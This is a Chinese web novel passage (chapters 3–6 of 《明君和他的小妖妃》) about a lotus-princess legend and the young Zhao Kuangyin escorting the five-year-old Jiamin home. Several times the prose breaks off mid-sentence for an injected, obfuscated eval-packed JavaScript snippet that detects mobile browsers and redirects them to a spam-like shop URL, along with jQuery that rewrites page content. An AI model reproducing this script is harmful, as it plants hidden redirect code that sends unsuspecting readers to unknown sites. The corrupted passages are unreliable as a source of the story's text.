《明君和他的小妖妃》 3. 帝女红莲(下) “真君留步——”百果大仙慌忙拦住他,“你这是要去做什么呀?” 应龙真君道:“那水涵珠乃是红莲公主真身所炼的法宝,自然不能留在天帝那里,我这就去将它换回来。有了水涵珠,红莲公主的修为就能很快恢复。” “哎唷我的真君殿下,你是个榆木脑袋么?天帝因为此事已憋出内伤,王母娘娘又三天两头同他吵闹不休,你此刻去见他,岂不是情敌见面分外眼红么?是准备让他扒了你的皮还是抽了你的筋?”百果大仙循循善诱,“再说了,要助红莲公主重新化形,也不一定非要倚仗水涵珠。” 虽然莫名其妙多了一个天帝当情敌,可应龙真君还是分的清轻重缓急,问道:“那还有别的办法吗?” 百果大仙略为难道:“办法是有,不过需要你做出一些小小的牺牲,就是不知道你愿不愿意。” 应龙真君正色道:“一点牺牲而已,我怎会不愿?” “你可别答应的这么爽快!”百果大仙憋着坏笑,一口气说完:“其实事情很简单,现在红莲公主真身所化的莲子在你手上,你只需要将其放在肚脐上温养七七四十九日,让它吸饱了你的至阳精气,发出芽来,再种到天池里面,就很快能开出莲花,日后勤加修炼不出百年便可化形。” “什么?将公主的真身放在我的……”应龙真君大惊,那意味着他要宽衣解带,以肚脐涵养公主的真身,如此这般实在太过不成体统。 百果大仙盯着他打趣道:“不愿意呀!没关系,那把莲子给我,我去找天帝,他肯定愿意。”说罢伸手索要莲子。 应龙真君哪里肯给,红着脸道:“本君只是略有迟疑,并非不愿。” 百果大仙抱着泥坛毫不给他反悔的机会,怪腔怪调地道:“那开始吧!” 应龙真君握着莲子皱眉道:“公主,今日之事也是逼不得已,望你日后醒来不要怪罪我轻薄。” 当即施法在天池边的亭台里变出一张床榻,放下纱帐,揭开衣衫躺下,又将莲子置于肚脐,运气涵养。 不过百果大仙对他的修为略有低估,不过区区半日,莲子已能化出模糊的形体来。 应龙真君抱住那虚弱的仙体,一个翻身令红莲公主睡卧于怀中,凝着她的双眸,暗暗道:“知道天帝倾心于你,我又怎能退缩?” 思至此不再犹豫,直接以口度仙气给她。 见此情形,百果大仙急的直跳脚,低声喝骂:“又亲又抱,直接就做了人家的夫君,趁人之危,毫不含蓄!” 帝女红莲受了这股仙气,闭目炼化片刻,又变回莲子的模样,却已发了芽。 度过仙气的应龙真君把破出新芽的莲子交给百果大仙,一边冷冷问道:“你刚才说什么?” 百果大仙惊骇,大声回道:“没有,我说真君你对红莲公主的爱很含蓄!” “不是这句,眼下本君已是有妇之夫,百果大仙就是见证人,这话没错吧!”应龙真君凉凉地瞥着他,话音里带着恰到好处的威胁。 既然已经有了肌肤之亲,身为仙君当然不能不负责任,而证人也是必不可少,以免天帝日后与他争夺。 百果大仙素来机敏,大声道:“没有!绝对没有!若有人敢质疑真君和红莲公主之间的关系,我百果大仙第一个站出来证明。真君,容我先将红莲公主的真身种在这泥土里,好助她早日化形,之后你们便可共结连理双宿双飞。” 应龙真君甚为满意,点头道:“去吧!” 莲子合着仙泥被种进天池,瞬间满池青碧,荷叶中间也渐渐开出了娇艳的粉色莲花。 百果大仙击掌笑道:“这十方莲池,以后就是真君和红莲公主合修之地了,看来天界不久就要迎来一场喜事。” 那半开的莲花在风中摇了几下,颤声问道:“不会是我要出阁了吧?” 岸上的两位仙君默了片刻,百果大仙无情地揭露了一个事实:“她好像不太愿意……” “……”应龙真君厚着脸皮道:“无碍,时间久了就愿意了!” 帝女红莲默了默,小声问百果大仙道:“你之前说的烈女怕缠郎是这个意思吧!” 百果大仙捂着肚子笑到内伤,小声回复:“对……没错……就是这个意思……”被应龙真君杀了一记眼刀,慌忙止住,清清喉咙道:“不过公主你真的不愿意的话,真君也是不会勉强的。” “哦——”帝女红莲摇了摇自己的花瓣天真无邪地道:“我也没说不愿意呀!” “……”百果大仙摇头无奈道:“你这个性,难怪天帝也被你弄迷糊了。” 应龙真君也有些慌了,上前摸摸她的花瓣嘱咐道:“很好,这种话对我说过以后,就不能对其他的神仙也这么说,否则大家会打起来的知道么?” 帝女红莲乖乖答应:“哦!” 百果大仙禁不住暗骂应龙真君之腹黑,这么快就把小莲花给拿捏了,一边又想红莲公主之姿容乃是天界女仙之榜首,偏又生的娇弱,四方诸神对她觊觎者众,连天帝也不能免俗,除了应龙真君怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13587995|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也找不出第二个能护她周全者,所以骗就骗吧,反正也是迟早的事。 此后大多时间应龙真君都镇守在天池以仙法助帝女红莲化形,除了必须下界扫除人间乱局的时候,从未分开过。 可他两次下界皆因所造杀孽太重被天界问责,要受雷击之刑,两次都是遍身伤痕地回来。 帝女红莲瞧着心疼,又总用仙法为他医治,结果这化形之路也就一天天往后推。 应龙真君想要阻止她,帝女红莲眼神颇为幽怨,“你若不想我耗损仙法,就少受一些伤!” “我答应你,事不过三,三次以后这凡间事便随它去,我再不下界插手黎民是非。”应龙真君抱她在怀里柔声安慰:“你一日不能完全化形,我便一日难安。” 听百果大仙说王母娘娘的气几百年未消,一直想找机会处置红莲公主,可红莲也只有在完全化形之后才能与他结成仙侣,届时王母娘娘的手便也伸不了那么长了。 只是第三次下界,帝女红莲依旧未能完全化形。应龙真君虽然不大放心的下,可命数如此实属无奈。 待他下界之后,王母娘娘便以繁荣凡间文学教化之名派了文曲星君下凡去做那南朝的国主,并特意开了昆仑全境供他下界之前好好游玩。 “那文曲星君乃是风雅之辈,到了天池附近,一眼就被池中盛开的红莲吸引,禁不住生出了一丝贪念,上前摘了那朵红莲放在袖中一起偷偷带下界,红莲公主就这般一头扎进了万丈红尘之中。”陈抟老祖喝着酒结束了他的故事。 饶是赵匡胤原本对他的故事毫无兴趣,听到最后也禁不住问道:“文曲星摘了红莲,那应龙真君岂不是失去了他的仙侣?” “此事又哪里知道?”陈抟老祖叹息道:“只盼他们在凡间能够相遇,红莲公主的困厄想来也只有应龙真君能解了!” 故事讲完天已大亮,陈抟老祖连告别的话也没有讲,起身飘然而去,只留下一句含义不明的告诫:“心怀天下者,一人亦是一天下。赵公子,这乱世之中群雄并起,你可有想过自己在其中又是何等角色?” 赵匡胤听着他的话陷入了沉思,自己出身微寒,从未想过当什么左右时局的大人物。 嘉敏睁开眼,看着他认真地问:“赵哥哥,莲花被摘走了,还能夺回来吗?” 原来嘉敏这一夜并未睡熟,而是把故事都听完了。 赵匡胤听着她娇嫩的声音,突然有所悟,朗声道:“既然一人亦是一天下,那眼下我的天下就是嘉敏了!” 4. 舐犊情深 陌上花开,蜂飞蝶舞。 这日赵匡胤带着嘉敏路过绛州的一处田庄,此处多井泉,桑田和露田之间还开辟有菜田,正是桃花红,李花白,菜花黄。 赵匡胤牵着嘉敏的手站在水塘边朝着菜地里摘新鲜菜蔬的农妇唤道:“姑母!” 农妇抬头远远看过来,只片刻,欣喜地把菜篮子递给身旁的婢女迎上前来:“匡胤——之前听你姑父提起收到你从并州寄来的书信,说是会来探望,姑母还以为他哄我开心,没想到你真的来了!” 姑侄俩对视片刻,抱在了一起。 “姑母,匡胤好想你!”赵匡胤低语,虽未哭出来,眼眶却红了。 他幼时姑母尚未出嫁,带大他的不是母亲而是姑母,甚至因自小顽皮,父母多有苛责,姑母都一直护着他直到出阁。在他心里,姑母只怕比母亲更亲一些。 姑母赵淑玥擦干眼泪又凝着侄子看,笑道:“匡胤,你长大了,模样也生的好,比你爹当年可俊俏多了。” 这般毫无顾忌的对话,两人愣了片刻皆笑起来。 “这个小姑娘是……”赵淑玥疑惑地看着嘉敏,见她虽然年纪很小,可模样实在好看的有些过分,眸似水剪,唇若点绛,粉妆玉琢,难描难画,记忆里可从来没有能长成这般模样的亲戚或者熟人。 赵匡胤轻声道:“此事说来话长!” “那就进屋慢慢说吧!”赵淑玥依旧满脸堆笑,拉着侄子的手将他带回去,“你姑父今天去收账,大概要到吃晚饭的时候才回来。你们定然是在路上走了很久,不如先去洗个澡换上干净的衣服,姑母去厨房里给你做几道菜,今晚还可以陪你姑父喝两杯。” 赵匡胤恐姑母辛苦,抓住她的手臂想要劝阻,被赵淑玥摇头制止,含笑道:“匡胤,你就像姑母的亲儿子一样,姑母给你做饭,心里高兴!”说罢拂开他的手,一边吩咐婢女端些点心上来,又命后厨烧好洗澡水,自己则去厨房烧菜。 想着赵匡胤的年纪应该多吃些滋补的东西,就安排了不少荤菜,有焦鸡、蒸蹄膀、红煨肉、烧鸭、炸鳗、羊肚羹,素菜有八宝豆腐、萝卜汤圆、炒菠菜,还配了些酱瓜、大头菜、凉拌猪耳之类的小菜,主食则安排了蒸饼和黄米粥。 满满一桌的佳肴一半都是赵淑玥做给侄子的,亲人见面虽然有很多话想说,可姑母生怕侄子在路上风餐露宿,饥一顿饱一顿,于是不停给他布菜,直到赵匡胤道:“姑母,再吃下去,我要去看大夫了!”这才罢手。 席间嘉敏一直乖乖的,不过吃的不多,也不讲话,只是眉头越皱越紧。 “嘉敏,你不舒服么?”赵匡胤察觉到异样,放下杯盏将她抱住。 “头疼……”嘉敏小声说着,竟然昏睡在他怀里人事不知。 赵匡胤惊骇,问道:“姑母,这附近有没有名医?” 姑父李修文慌忙站起来道:“有……我这就去请!” 赵匡胤焦急地把嘉敏抱回房中,用湿手帕擦她的额头,又一直握着她的手,关切之情溢于言表。 此时赵淑玥才又问起嘉敏的来历:“匡胤,这小姑娘和你有何渊源,你怎会带着她上路?” 等大夫的这段时间,赵匡胤便将嘉敏的事告知姑母。 赵淑玥听罢皱眉叹息道:“前段时间你父亲修书于我,说你因和母亲置气离家出走,扬言要去投军建功立业。姑母虽然不知道你在家中究竟发生了什么,可却相信我的匡胤不是不懂事的孩子,况且你从小武艺超群,我们赵家又出身行伍,若你从军,定然大有作为。然而如今你为了一个素不相识的小姑娘,却要奔走三千里之遥将她送回家去,姑母也不知道该为你高兴还是担忧。” 赵匡胤登觉怅然,在家时母亲便总是对他的所作所为很是不满,倘若这件事给她知道恐怕又是一顿严厉的苛责,如今连姑母似乎也在质疑他的决定,不由喃喃道:“姑母也认为匡胤的做法太过荒谬是么?” 赵淑玥在房中来回踱步,沉默了很久才终于回过头柔声道:“不,姑母认为匡胤做的很好,试问天下能有几个人如你这般大智大勇大仁大义?建功立业诚然重要,可谁又能说如嘉敏这般的小姑娘便不重要?心怀天下者,一人亦是一天下!陈抟老祖此话倒是说的不错,既然有仙师指点,你就遵循自己的本心去吧。姑母非但不觉得此事荒谬,还以我的匡胤为荣。不管你爹娘怎么看你,若你倦了,姑母家就是你的家,你随时回来,不管什么时候,姑母都会备好热腾腾的饭菜等着你!” 赵匡胤虽说貌甚丰伟,可毕竟只是个十八岁的少年,在家中讨不得父母欢心,到了疼爱自己的姑母这里,哪里还有半分顾忌,禁不住抱住姑母悄悄落泪。 大夫来看过嘉敏,只说不像是风寒,追问是否最近遭受了重大的刺激。 赵匡胤遂将近日途中遇到的事情又说了一遍,其实在他将嘉敏从歹人手中救出之后不过一日,那帮歹人便纠集了同伙二十人上下在道上劫他们。他把嘉敏放在树上,自己下来同歹人血战,虽说并没费多少力气就把所有人都抓起来,用绳索绑了丢到官衙门前。可也是从那天开始第一次听嘉敏说头疼,之后便每天都不曾断过,而且好像越来越严重,以致今日竟然昏睡过去。 大夫听罢失声道:“莫非并州城那二十几个拐带小孩儿的悍匪是公子抓的?” “是吧!”赵匡胤道,那日他把人丢到官衙门前以后就没再关注过此事,也不知道竟然传到了百里以外的绛州城来。 大夫当下竟然整理好衣衫冠冕,当场行了个跪拜大礼,朗声道:“我有一小儿于年前走丢,遍寻无果,前日被官兵送回来,说是一伙为祸大江南北的歹人被捉住,严加审问之后供出了一些被拐带孩子的下落,其中就包括小儿。不成想这偌大的功德竟是如此年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13587996|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的公子所为,公子今日必定要受我一拜方可!”说罢竟欲磕头。 众人急忙将他搀扶,李修文道:“我这侄子年纪尚轻,让他受你一拜,岂不是折他寿么?你若真过意不去,过两日将小公子带来,当面谢过匡胤岂不更好?” 大夫擦着眼泪道:“李先生所言甚是,那今日出诊我便分文不取,不为别的,就希望这小姑娘能早日回家与爹娘团聚,早日解了她爹娘的思念之苦。听公子方才的叙述,这小姑娘多半是长期惊惧造成的头风病,颇难治愈,需要悉心调养一阵方可。” 赵淑玥笑道:“那便让匡胤和嘉敏在我家中多住些日子,这田庄虽然不是什么富丽堂皇之所,可却正适合养病,匡胤,你说好不好?” 赵匡胤自然乐意,随口提及一事:“嘉敏虽说已离了那些歹人,可她晚上一个人总是害怕不肯入睡,姑母不必再另外收拾房间,我和她住一起就行了。” 赵淑玥笑着点头,毕竟嘉敏才五岁,自然也不会令人觉得有何不妥。 送走了大夫,安置好侄子,赵淑玥夫妇也自去歇息了。 夜间挑灯,李修文读了几页书,突然问道:“我瞧匡胤这孩子品性甚好,又有一身本领,为何哥哥和嫂嫂总是不喜欢他?” 赵淑玥缓缓抬头,蹙眉道:“匡胤是哥嫂的第二个孩子,生他的时候哥哥在外打仗,嫂子也吃了些苦头,一直心气不平,再加上后来又生了第三个孩子匡义。三兄弟对比起来,匡胤不像老大那样喜好读书,也不像老三一样古灵精怪,他就喜欢舞刀弄枪,自小也数他最难以管束,嫂子就益发不待见他,给哥哥的书信中也总是历数匡胤的不是。日子久了哥哥也误认为匡胤是个顽劣鲁莽之辈,每次回家都要狠狠教训一番,严厉的时候又打又骂还不给饭吃。偏这孩子脾气又硬,不管父亲如何责罚,从不肯违心认错,连带父子之间的关系也越来越糟。昔日我在家的时候,多少还能回护他一些,可出嫁这么多年,留他一人在家中,也不知道委屈成了什么样子。好在孩子终是长大了,还长成了这般光明磊落的男子汉,我悬了多年的心也总算放下来了。” 李修文见妻子抹起了眼泪,忙递上手帕安慰道:“五年前我把你从赵家娶走,匡胤一直追着婚车走了七八里,一路上都哭着叫姑母,后来还是被他爹连抽带骂的拖了回去。当时你在车里哭,匡胤在外面哭,我就知道你姑侄俩这辈子合该是母子的缘分才是。我瞧他心里也是把你当亲娘了,这段日子你就好好过过当娘的瘾,想怎么照顾他就怎么照顾,好不好?” 赵淑玥哭着点头,虽说出嫁的小姑已无立场插手哥嫂的家事,可她总是忍不住替赵匡胤鸣不平,这么好的孩子哥嫂却偏偏看不到他一点好处,若是自己的亲骨肉,定然不会叫他委屈到只提着一杆枪就离家出走,也不知道这些时日究竟吃了多少苦头?好在如今要在田庄住下,定要多弥补他一些才好。 5.雨满洛城 “白芷、零陵香、滑石、甘松、荆芥、防风、川穹、木樨,碾为细末,掺在发上,略停片刻,梳篦为妙。此药去风,清头目,亦能令人香。” 赵淑玥找了个治头风的古方,配齐了药材,每日给嘉敏梳洗。不过半月,嘉敏的头痛缓解不少,田庄里小孩儿又多,也都喜欢陪她玩儿。 经常赵匡胤在田间帮着姑母干活,嘉敏就和一群小孩儿玩闹在一起,斗草踏青捉迷藏,偶尔还下河抓鱼爬树采果。姑侄俩虽觉得将这司徒家的千金大小姐养出山野顽童的习性多少有些不妥,可瞧她玩闹的那么开心,也只是笑笑作罢。 这天嘉敏在田里捕蝴蝶,那菜畦一洼一洼的并不如何平整,她一个不小心摔倒,坐起来哇哇大哭,赵匡胤慌忙丢下手中的活计跑过来把她抱在怀里哄。 赵淑玥暗笑,想着侄子也不过是个半大孩子,却每天哄着这样一个娇滴滴软糯糯的小女孩儿,当真是辛苦。眼见嘉敏一日好似一日,也是时候送他们启程了。 行李装的满当当,衣裳干粮银两什么都有,都是赵淑玥准备好的,临行前还是忍不住道:“匡胤,路过洛阳的时候不妨回家看看,说不定你母亲气也消了,一家人总这么怄气也不是办法。”其实她倒不指望嫂嫂能理解侄子的作为,可母子之间嫌隙太深,恐怕日后受苦的还是侄子。 赵匡胤点头道:“姑母,我懂得,回去便向母亲赔不是,求她宽恕,你放心就是了!” 赵淑玥微笑,又抱了抱嘉敏,尚未来得及说话,只觉髻边一动,被插上一支珠钗,嘉敏娇声道:“姑母,这支珠钗是赵哥哥陪我在集市上买的,当作临别的礼物,你可喜欢?” “喜欢喜欢——”赵淑玥笑靥如花,明知不大可能,还是说道:“嘉敏呀,若以后有机会,就和你赵哥哥一起来看姑母,姑母给你做最喜欢吃的芙蓉肉和糖醋鱼!” 嘉敏天真无邪地道:“还有翡翠菜心和桃花羹!” 一群人哈哈大笑,离别的忧愁也被冲淡。 拜别姑母一家,一路向东南行去,到达渑池县时,距离洛阳已不太远。 正值清明节前后,自古中原多战事,是以北民大多尚武,渑池县每年都有清明走马射箭之习俗,夺冠者奖励颇丰。 嘉敏随着赵匡胤一起挤进人群里看热闹,河堤边杨柳低垂犹如连天翠幕,百余名矫健的男儿骑在马背上,只待号令响起,一对对冲上前去比试,场面很是热闹。 这样比试了几轮,淘汰者过半,嘉敏也起了兴致,一张小嘴开始唧唧呱呱地讲话:“赵哥哥,你说他们谁会赢呢?” 赵匡胤凝眉细看了一会儿道:“那位石守信公子功夫最扎实,我猜他会赢。” 不过是随意的一句评论却引得路人侧目,很不悦地道:“我瞧那位王审琦公子更胜一筹!不知阁下是何方高人,敢如此信口开河,妄加评议?” 赵匡胤见对方是一个十来岁的青衣少年,便不大想计较,淡淡道:“王审琦公子虽然身法更为灵活,但膂力上输了一筹,想赢到最后怕是并不容易。” 青衣少年瞧他白马银枪一身劲装,冷笑道:“看起来阁下也是个练家子,不过只用嘴上说的如何能令人信服,何不下场一试?” 赵匡胤毫不客气地道:“我若下场,那两位可都要输了!” 青衣少年也是个急脾气,真跟他杠上了:“哈,真是鲸鱼打喷嚏——好大的口气!你若能打赢那两位,我今后就跟你姓!” 自古男子易名改姓乃是一件很严重的事情,代价不可谓不大,嘉敏却皱着鼻子一脸嫌弃地道:“赵哥哥又不讨你做媳妇,要你跟他姓做什么?” 相处了一个月,嘉敏逐渐恢复活泼小女孩儿的本性,这一年多又流落市井,便学了不少俚语,虽不大文雅,讲起来却很滑稽,直把那青衣少年噎的说不出话。 赵匡胤忍俊不禁,“嘉敏,敢不敢跟我一起下场试试?” 有人想看他是不是吹牛,那就看看吧! 嘉敏自然不会拒绝,跟着一个本领高强的哥哥,她连胆子也大了许多。而赵匡胤由于上场较晚,干脆不像其他人一样从基础射术开始,而是直接走马冲到场中央挑战了石王二人刚比完的百步穿杨,七发七中,丝毫不落后,引得石王二人频频侧目。 最终一局比膂力,箭头是蜡做的,无甚穿透力,比一比谁能化腐朽为神奇。 石守信透纱七重,王审琦五重,果然应了赵匡胤的话。场外的青衣少年一脸讶异,羞愧难当,却伸长了脖子,看着那口气甚大的公子一箭透纱九重,赢了个满堂彩。 可他也只是下场比了箭,并未前去领赏金就带着嘉敏离开,也无人知晓他姓甚名谁何方人士。 又奔波了一日到达洛阳,碰巧天气不大好,阴晴不定,也就有些犹豫要不要回家看望母亲。 嘉敏眼珠滴溜溜转了几转,拉拉他的衣袖道:“今日三月十八,是白龙生日,多半会有雷雨,因为龙归省母,四山烟雨,天气肃寒。不过我爹爹说过今日雨则岁丰,秋天会有好收成。” “是吗?”赵匡胤心念微动,知道嘉敏是变着法子劝说他回家看望母亲,想了想,在街上买一盒八珍茯苓糕并桃花米酿带回家去。 只是到了家门口却没有进去,他如今并非一个人,想也知道母亲听了嘉敏的事以后会作何反应。百般思量后,干脆把东西交给出来买菜的女管事如姨,拜托她代自己向母亲问安。 正好那天母亲杜氏一大早就出门进香,母子二人也并未碰上面,如姨好说歹说,终于劝动他回家来吃中饭。 赵匡胤又带嘉敏去街上买两件当季的衣裳,回转时正瞧见母亲的车马经过,就跟在后面想悄悄看母亲几眼,没留心一路跟回了家。 看门的祥叔“二少爷”三个字还没有叫出口,却见母亲杜氏把他带回来的八珍茯苓糕和桃花酒酿一并摔到院子里去,厉声喝道:“谁要那不孝子的东西!他有胆量出去,就别想着回来,我这辈子都不想再看见他,你们谁敢放他进来,就马上离开赵家,没得和那不孝子一起气我!” 如姨见夫人发这么大脾气,小声劝道:“夫人息怒,二少爷也是年少冲动,今天还说要向母亲谢罪……” “谢罪?他怎么谢?”杜氏冷哼一声,“平日里在家不学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589672|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无术,打架滋事也由着他,本想着给他娶一个贤惠的妻子能改改那品性,他倒好,竟敢违逆父母的意思,提着一杆枪就出门了,还说什么大丈夫志在四方,定要建功立业之后再娶妻,当真以为凭他那三脚猫的本领就能在军中混个大将军好回来耀武扬威么?因为此事,已经把贺家的世伯得罪,难道一句年少冲动就能解释一切吗?” 如姨只觉夫人的话太过伤人,禁不住道:“孩子暂时不想娶妻也并非十恶不赦之事,难道你真的不让二少爷再回家了吗?他毕竟才十八岁,这样的乱世流落在外万一有个好歹……” 杜氏眼皮一抬,森然道:“那就让他死外面好了!” 忽听得奔雷炸响,赵匡胤将隐在目中的泪光收了回去,一言不发带着嘉敏转身而去,没走多远就下起了雨。 祥叔匆匆赶上来喊道:“二少爷,这天怕是要下大雨了,你把伞带上,可别淋湿了!” 赵匡胤木然而立,也没有伸手去接,祥叔把伞打开给他罩着,哽咽道:“你若是没地方落脚,就到我家去住,我不怕被夫人赶走!” 家里三个少爷,仆人们都最喜欢二少爷,品性好,本领强。可那当家主母杜氏是太师之女,一直更喜欢从小习文的大儿子,对一身武艺的二儿子总是横竖看不顺眼,今日更加过分,还说出让儿子死在外面的话,连这老仆人听了也于心不忍,开始抹眼泪。 “多谢祥叔!”赵匡胤终于接过雨伞,缓缓道:“我今日回家之事毋要让母亲知道,以免日后嫌隙越生越多。” 祥叔连连点头,“放心吧二少爷,我一个字也不说。可我们都知道夫人说的话一点也不对,二少爷本事大着呐,将来定能出将入相光耀门楣,到时候就能堂堂正正的回家,老爷和夫人也不会百般数落你的不是了。” 这善良的老仆除了说些宽慰的话,也不知道该做些什么,赵匡胤勉强笑道:“我去了,你要保重身体!” 雨下的大了些,赵匡胤把嘉敏抱起来用伞遮严款步离去,这样她的新衣服和新鞋子就不会被泥水弄脏。 回到客栈,在孤灯冷雨下熬过了一个下午和一整晚,第二天艳阳高照,嘉敏把辛苦一早上在院中收集来的花露捧到他面前,柔声唤道:“赵哥哥,花露甘甜,喝了心里就不苦了!” 赵匡胤怜她乖巧可爱,取过来一饮而尽。 天晴好上路,两人不再耽搁,骑上马接着南下,嘉敏为了解闷在脑瓜子里搜罗了半天道:“赵哥哥,我来出谜语,你猜猜是什么天气好不好?” “好!”赵匡胤一口答应,心知小女孩儿的谜语定然十分容易,可也乐意陪她玩儿。 “大哥天上叫,” “是打雷了。” “二哥把灯照。” “是闪电。” “三哥流眼泪,” “雨天!” “四哥到处跑。” “是大风天!” “秃子打伞——” “那是无法无天!” 浅草没过马蹄,乱花迷人眼,马背上的两人哈哈大笑,追着雨后的彩虹赶往风晴日暖的下一程。 6.元元黎民 兵荒马乱的年代,几乎每过百里就会碰上一场或大或小的战役,赵匡胤带着嘉敏一路穿越战火烽烟,到了年底才有惊无险地到达淮南地界。 期间有不少时候他们吸风饮露宿于荒郊,赵匡胤会用飞石打来野味,兔子山鸡之类的抹上盐烤来吃,也时常摘野果果腹,两个人也会在喜庆的节日里赶往城镇混迹人群跟着别人一起过节。 除夕夜嘉敏曾经大哭一场,因为实在太过思念亲人,赵匡胤就抱着她整夜在外面放烟花爆竹,安慰她再过几个月就能到金陵了。 期间嘉敏病过几次,耽误些行程,到了淮南又出了痘疹,高热疼痛惊厥昏迷,差点就客死异乡。 赵匡胤终日抱着她求医问药,好歹捡回了一条命,只是身上留下些痘疤。大夫说吴中有位神医有祛痘疤的药,可惜太贵,一小罐就要五十两银子,好在嘉敏的痘疤只在下颔有一小块,也不如何碍事。 那药赵匡胤还是买来了,每日给嘉敏涂抹,又养了一个月,总算恢复如常。只是盘缠所剩不多,有两个月他在码头帮忙卸货赚银两。 老板见他年纪轻轻相貌不凡,却穿着粗布衣服干苦力,还终日带着一个漂亮的不像话的小妹妹,料想二人身世不凡,结账时赠送了一百两纹银。只说自己商贾出身,虽以逐利为业,却也见不得如他兄妹二人这般的天涯飘零客,但愿他们能早日归家,莫再受这风霜之苦。 赵匡胤听罢不再推辞,只说来日若有机会,必当报答。 十余天后到达滁州,此地吴越国和南唐长期交战,琅琊山下还经常有匪患,二人刚脱离兵燹又一脚踏进了匪窝。 原本只是到山民家里讨碗水喝,却见那里的百姓一个个愁眉苦脸,连小孩子脸上也毫无生气。 嘉敏把自己的糕点分给打水给他们喝的老者之孙,老者瞧他们面善,遂道:“客人喝完水就快走吧,晚些碰上那胭脂虎和分身将,怕是要连人带马一起折在这里!” 赵匡胤听了这诨名皱眉问道:“胭脂虎和分身将?那是何人?” 老者的孙子小石头抢着答道:“就是琅琊山上的女山匪头子和她的压寨相公,我等山民苦匪患久矣,奈何外面又兵荒马乱的无处可去,只能待在这里挨抢,所以大家常年都吃不饱饭,大人小孩也有不少饿死的。算日子今天正是那夫妻俩下山劫掠的日子,爷爷跟我说家里已无钱粮给他们,早早的准备好了棺材,打算爷孙俩葬在一块儿。” 嘉敏听的眼皮一酸,把自己剩下的最后一块糕点也拿出来给他吃,小石头感激地看了一眼,转头把糕点交给爷爷,“爷爷,你吃吧,肚子里有些东西待会儿也好上路。” 老者摇头惨然道:“小石头乖,还是你吃吧,爷爷老了,吃这些甜糯的东西万一噎到了不好。” 小石头边吃边哭道:“前两天来了个算命的道爷,还说我不是个短命的,老天爷会派一个骑白马带银枪的好看公子来救我们,道爷是骗人的吧,那公子怎么还不来呀?”说罢趴在桌子上嚎啕大哭。 一番话说出来其他三人都惊住了,老者盯着赵匡胤问孙子:“小石头,你说这位公子长的好不好看?” 小石头擦着眼泪点头,“这位公子若是被胭脂虎给打劫了,定然不会被砍死,会被掳上山当压寨相公!” 赵匡胤啼笑皆非,然则童言无忌,也不好说什么,只问道:“那位道爷是不是身长八尺,须发皆白,总是一张笑脸,看起来很和蔼?” 小石头狠狠点了几下头,诧异道:“公子认识那位道爷?” 赵匡胤以手扶额叹息:“哪儿都有他!” 这老道自然是陈抟老祖了,赵匡胤也不明白跟他之间是什么孽缘,一程一程的好像都被安排好了一样。 “我记得公子你是骑着白马来的,正好还提着杆枪——”老者两眼放光,一脸看到救星的表情。 小石头一口糕点噎在嘴里,抬头呆呆地望着赵匡胤,不过片刻爷孙俩就在村里奔走相告,说是老天爷派的救星来了,让大伙儿快来拜见救星。 一群山民围着赵匡胤跪拜不止,他阻挡不及,只觉一股强大的压力落在了肩头,这元元黎民不过是求一个安稳的生计罢了,缘何竟困顿如斯? 陈抟老祖说过“心怀天下者,一人亦是一天下”,眼前这么多人又如何能放着不管? 他本着一股少年豪气,无法坐视不理,回头问嘉敏道:“嘉敏,你怕不怕?” 嘉敏小脸煞白,点点头,却道:“可我相信赵哥哥一定能打败山匪,因为你是应龙真君下凡,注定要解救万民于水火,所以我又没那么怕了!” 赵匡胤微一怔,没想到嘉敏竟把陈抟老祖说的故事当真了,连山民们也纷纷拜起了他这个应龙真君,当下道:“好,山匪我来收拾,只不过小石头你要负责保护嘉敏,万一她要是伤着了,我就把你送给胭脂虎打牙祭!” 小石头颤巍巍地点头不止,“公子放心吧,我一定保护好嘉敏,我保护她一辈子!” 这十岁的小孩大约还不知道一辈子是什么意思就这么说出来了,赵匡胤拍拍他的头,嘱咐他带着嘉敏找地方藏好,一个人握着枪靠在村口的老树身上安静地等山匪到来。 据山民说胭脂虎是一个穿红衣裳使双刀的女人,而分身将骁勇善战,身法极快,一动起来东南西北到处都是他的影子,若是一人独挑山匪怕是颇为吃力。 正自思虑着,不远处一股沙尘滚滚而来,那一身红衣的胭脂虎果然带着几十个山匪策马而来,赵匡胤手指间夹了两块石子,听着风声投掷出去。 胭脂虎身旁的分身将登时马失前蹄摔了下来,在地上滚出几丈,差点被后面的马匹给踩死。 胭脂虎见状勒马驻足,挑起狭长的一字眉厉声喝道:“那施暗算的小贼,给我出来!” 赵匡胤提着银枪策马走到路中央,与胭脂虎正面对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 